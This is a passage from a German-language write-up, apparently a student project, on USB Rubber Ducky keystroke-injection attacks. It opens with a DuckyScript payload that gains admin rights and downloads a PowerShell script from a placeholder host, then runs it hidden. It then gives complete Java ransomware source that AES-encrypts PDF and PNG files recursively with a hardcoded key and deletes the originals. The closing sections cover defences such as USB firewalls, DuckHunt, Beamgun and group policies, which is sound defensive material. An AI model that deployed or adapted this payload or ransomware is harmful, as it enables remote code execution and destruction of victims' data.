REM Windows: cmd.exe mit Admin-Rechten und darauf folgend Powershell öffnen DELAY 500 CTRL ESC DELAY 100 STRING cmd DELAY 100 CTRL-SHIFT ENTER DELAY 100 LEFTARROW ENTER DELAY 100 STRING powershell ENTER DELAY 500 REM Shell-Script von Server laden STRING $client = new-object Net.WebClient ENTER STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“) ENTER REM Script ausführen bzw. Shell starten STRING set-executionpolicy remotesigned ENTER STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1 ENTER
Ransomware
Bei dem Anwendungsbeispiel wird ein Programm vom Rubber Ducky gestartet, wenn dieser in ein PC eingesteckt wird. In diesem Fall wird versucht, eine .jar Datei auszuführen. Die Vorraussentzung dafür ist, das auf dem Opfer-PC eine JRE installiert ist. Um die Datei auszuführen, muss zu erst der Laufwerkbuchstabe ermittelt werden, unter dem der Rubber Ducky eingehangen wurde. Dazu wird ein Kommandozeilen-Fenster mit Admin-Rechten geöffnet. Folgende Befehle werden eingegeben, um den Laufwerkbuchstaben zu ermitteln, und das .jar File auszuführen:
for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%A)
javaw -jar %DUCKYdrive%\RubberDucky.jar
Der Code zum .jar Executeable ist relativ einfach gehalten. Hier wird der Inhalt des Ordners C://testing/ (in Windows, bei Linux /testing usw.) verschlüsselt. Je nach Betriebssystem, könnte man, wenn man möchte, unterschiedliche Schritte durchführen (deshalb die OS-Abfrage). Die Dateien im Ordner werden per AES verschlüsselt. Der Schlüssel ist ein 16-Byte Char Array keyValue. Für Testzwecke, wurde ein "Schalter" (boolean encrypt) eingebaut, mit den man seine Dateien im Ordner wieder entschlüsseln kann.
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.security.Key;
import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.swing.JOptionPane;
/**
*
*/
/**
* @author anien
*
*/
public class RubberDucky extends Thread {
/**
* @param args
*/
private static String OS = System.getProperty("os.name").toLowerCase();
private static final String ALGO = "AES";
private static final byte[] keyValue = new byte[] {'D', 'A', 'S', 'I', 'S', 'T', 'D', 'E', 'R', 'E', 'I', 'N', 'E', 'K', 'E', 'Y'};
private static String[] listOfExt = {".pdf", ".png"};
private static String extension = ".crypt";
private String startPath;
private boolean encrypt = true;
public RubberDucky(String startPath) {
this.startPath = startPath;
}
public static void main(String[] args) {
if (isWindows()) {
new Thread(new RubberDucky("/testing")).start();
JOptionPane.showMessageDialog(null, "Bamboozled Again!");
} else if (isMac()) {
new Thread(new RubberDucky("/testing")).start();
JOptionPane.showMessageDialog(null, "Bamboozled Again!");
} else if (isLinux()) {
new Thread(new RubberDucky("/testing")).start();
JOptionPane.showMessageDialog(null, "Bamboozled Again!");
}
}
public void run() {
File inputFile;
File outputFile;
File folder = new File(startPath);
File[] listOfFiles = folder.listFiles();
for (File f: listOfFiles) {
if (f.isFile()) {
if (Arrays.stream(listOfExt).parallel().anyMatch(getFileExt(f) :: contains) && encrypt) {
try {
inputFile = new File(f.getPath());
outputFile = new File(f.getPath() + extension);
doCrypto(inputFile, outputFile);
f.delete();
} catch (Exception e) {
e.printStackTrace();
}
}
if (f.toString().endsWith(extension) && !encrypt) {
try {
inputFile = new File(f.getPath());
outputFile = new File(f.getPath().substring(0, f.toString().length() - 6));
doCrypto(inputFile, outputFile);
f.delete();
} catch (Exception e) {
e.printStackTrace();
}
}
} else if (f.isDirectory()) {
new Thread(new RubberDucky(f.getPath())).start();
}
}
}
private void doCrypto(File inputFile, File outputFile) {
try {
Key secretKey = generateKey();
Cipher cipher = Cipher.getInstance(ALGO);
if (encrypt) {
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
} else {
cipher.init(Cipher.DECRYPT_MODE, secretKey);
}
FileInputStream inputStream = new FileInputStream(inputFile);
byte[] inputBytes = new byte[(int) inputFile.length()];
inputStream.read(inputBytes);
byte[] outputBytes = cipher.doFinal(inputBytes);
FileOutputStream outputStream = new FileOutputStream(outputFile);
outputStream.write(outputBytes);
inputStream.close();
outputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
private static Key generateKey() {
Key key = new SecretKeySpec(keyValue, ALGO);
return key;
}
private static String getFileExt(File file) {
String fileName = file.getName();
if (fileName.lastIndexOf(".") != -1 && fileName.lastIndexOf(".") != 0) {
return fileName.substring(fileName.lastIndexOf("."));
}
else {
return "";
}
}
public static boolean isWindows() {
return (OS.indexOf("win") >= 0);
}
public static boolean isMac() {
return (OS.indexOf("mac") >= 0);
}
public static boolean isLinux() {
return (OS.indexOf("nux") >= 0 || OS.indexOf("nix") >= 0 || OS.indexOf("aix") >= 0);
}
}
Gegenmaßnahmen
Auch wenn es Maßnahmen gibt, um Angriffe mit HID-Emulator Hardware zu verhindern, bleibt die elementare maßgebliche Grundvulnerabilität bestehen. Denn der mit als HID-Geräte erkannter Hardware setzt in der derzeitigen Umsetzung des USB-Protokolls vollständiges Vertrauen dieses Geräts voraus. Die Prämisse, dass die Hardware-Mensch-Computer-Schnittstelle den Input des Nutzers überträgt und dem Nutzer vertraut wird, ermöglicht diese grobe Vulnerabilität. So scheint es keine Möglichkeit der Authentifizierung im USB-Protokoll bzw. -Handshake für HID-Geräte zu geben. Daher ist es möglich jedes mögliche USB-Geräte durch den entsprechenden Device-Deskriptor zu emulieren. Die folgenden Maßnahmen setzen durch die Überwachung von USB-Input Funktionen um, welche die erfolgreiche Ausführung von Werkzeugen wie Keystroke-Injection-Tools verhindern soll.
Hardware-Maßnahmen
Im folgenden werden Maßnahmen vorgestellt, welche den Einsatz oder die Manipulation von Hardware als Lösungsansatz verfolgen.
USB-Ports physisch schließen
Diese Variante ist recht offensichtlich und wenig elegant, erfüllt jedoch ihren Zweck. Die physischen USB-Schnittstellen können durch Material verschlossen oder gar vom Rechner entfernt werden. Diese Maßnahme setzt voraus, dass der Nutzer seine USB-Ports nicht nutzt oder selten nutzt, da die Versiegelung nicht ohne weiteres aufgehoben werden darf.
USB-Firewall - USG
Die Hardware USG ist fungiert als physische Firewall indem sie zwischen den USB-Port und dem jeweiligen USB-Gerät gesteckt wird. So ist es möglich den gesamten Datenverkehr zwischen USB-Gerät und Host Controller Driver zu überwachen und im Besonderen den Input des USB-Geräts unterbrechen, sollte die USB-Firewall etwas Verdächtiges bemerken.
Der Hersteller des USG verspricht damit eine Lösung für mehrere USB-Geräte-Exploits:
- Schutz vor schädlichem Input an den USB Treiber
- Schutz vor versteckter schädlicher Funktionalität, zB Unterbindung eines versteckten Gerätes oder der aktiven Veränderung der USB-Deskriptor-Parameter, um sich als neues Gerät auszugeben
- Schutz vor schädlicher Funktionalität die direkt von Gerät ausgeführt wird. Zum Beispiel ein HID-Keyboard, dass sich unerwartet verhält (durch Erhöhung der durchschnittlichen Tastenschläge).
Damit erschwert das Gerät die Emulation verschiedener USB-Geräte. Der Einsatz des RubberDuckys würde jedoch ausschließlich durch die Geschwindigkeit der Tastenschläge erkannt werden. Ein Parameter, der durch wohl überlegte DELAY-Kommandos umgangen werden kann. Zudem wäre es interessant herauszufinden, ob es möglich ist über den USB-Handshake auch die Existienz einer USB-Firewall zu erkennen. So könnte eine angepasste Firmware auch diese Sicherheitsfunktion mit in die Ausführung eines DuckyScripts einbeziehen.
Software-Maßnahmen
Die nachfolgenden Softwarelösungen nutzen ebenfalls die Strategie, USB-Input zu überwachen. Dabei reicht die Voraussetzung und auf die Erfüllung dieser folgenden Sicherheitsaktion von der Detektion durch die Geschwindigkeit der Tastenschläge und der Aktion der reinen Protokollierung des Inputs bis hin zur Detektion durch Einstecken eines USB-Geräts und der Aktion den Rechner sofort herunterzufahren. Die folgenden Softwareansätze sind entsprechend von wenig bis stark restriktiv gegliedert.
Duckhunt
Die Software nutzt Keystroke-Logging um die durchschnittliche Keystroke-Geschwindigkeit zu protokollieren. Wenn sich die durchschnittliche Geschwindigkeit (die je nach Nutzer anders ist) signifikant verändert, wird der Input des Geräts blockiert. Nun kann zwischen verschiedenen Vorgehensweisen gewählt werden, sollte der Fall eines Verdachts eintreten:
- Der Input des USB-Geräts wird aufgezeichnet.
- Keyboard-Input wird blockiert
- Ein Dialog wird aufgerufen in dem der Nutzer ein Passwort eingeben muss, um weitere Eingaben machen zu können
- Es wird nur jeder 5.-7. Tastenschlag blockiert, um die Attacke untauglich zu machen
Beamgun
Wenn ein USB-Gerät von der Software erkannt wird, dass nicht in einer Whitelist steht, können folgende Maßnahmen von dem Tool ausgeführt werden:
- FocusStealing - Bei neuem USB-Keysboard-Anschluss Fokus des Keyboards auf ein bestimmtes Fenster umleiten
- Lock Computer - Zu Login-Screen springen, wenn neues USB-Keyboard angeschlossen wird
USBKill
Dieses Werkzeug führt ebenfalls Aktionen aus wenn ein USB-Gerät von der Software erkannt wird. Auch hier ist Whitlisting möglich. Die Maßnahmen sind jedoch deutlich radikaler, da das Tool gegen Forensik-Werkzeuge (z.B. Mouse Jiggler) entwickelt wurde. So können folgende Maßnahmen erfolgen:
- Bei einer Änderung der USB-Schnittstellen wird der PC sofort heruntergefahren
- Es werden bestimmte Dateien oder alle Dateien auf dem Gerät gelöscht und daraufhin der PC heruntergefahren.
Group Policies
Es ist bestimmter HID-Geräte mittels Group Policies zu verbieten.
USB deaktivieren
Inaktive USB-Ports können über das Betriebssystem dauerhaft deaktiviert werden.
Ausblick
Der RubberDucky nutzt nur wenig des gesamte Potential der erwähnten USB-Vulnerabilität. Zum einen ist die Firmware an das Gerät gebunden, zum anderen ist die Scriptsprache nicht besonders mächtig, da sie ausschließlich Keystrokes ausführt, ohne dabei beispielsweise Bedingungen zuzulassen. Außerdem beschränkt sich die Vulnerabilität nicht auf HID-Keyboards. Auch andere USB-Hardware ist einfach zu emulieren und genießt vollstes Vertrauen des Betriebssystems. Daher soll im folgenden anhand von zwei ebenfalls erhältlichen Beispielen gezeigt werden, wie die USB-Vulnerabilität weiter genutzt werden kann.
Bash Bunny
Das Bash Bunny ist ebenfalls von der Firma hak5 produziert und kann als Kombination der erwähnten USB-Vulnerabilitäten aufgefasst werden. So kann das Werkzeug verschiedene USB-Geräte in Kombination emulieren (z.B. Ethernet, Flash-Storage und Keyboard). Außerdem enthält das Bash Bunny eine vollständige Linux-Box mit Shell-Zugang über eine serielle Konsole. So können auch Pentesting-Tools über die Box genutzt werden.
BadUSB
Für einen BadUSB ist keine spezielle Hardware wie beim Rubber Ducky notwendig. Jeder USB-Stick, mit einem Controller von der Firma Phison ist prinzipiell davon betroffen. Karsten Nohl stellte auf der BlackHat 2014 eine Methode vor, wie die Firmware der USB-Geräte ohne Zusatz von Hardware verändert werden kann. Er hat es geschafft eine eigene Firmware auf ein USB Stick zu spielen, der dann beim einstecken, ähnlich wie der Rubber Ducky, zusätzliche Befehle ausführt. Dadurch ist es möglich, Viren in das System zu schleusen und weitere USB Sticks "anzustecken".
Quellen
https://github.com/hak5darren/USB-Rubber-Ducky/wiki
https://github.com/samratashok/nishang
https://github.com/robertfisk/USG/wiki
https://www.heise.de/ct/ausgabe/2015-5-Angriffe-mit-dem-USB-Rubber-Ducky-2536847.html
http://konukoii.com/blog/2016/10/26/duckhunting-stopping-automated-keystroke-injection-attacks/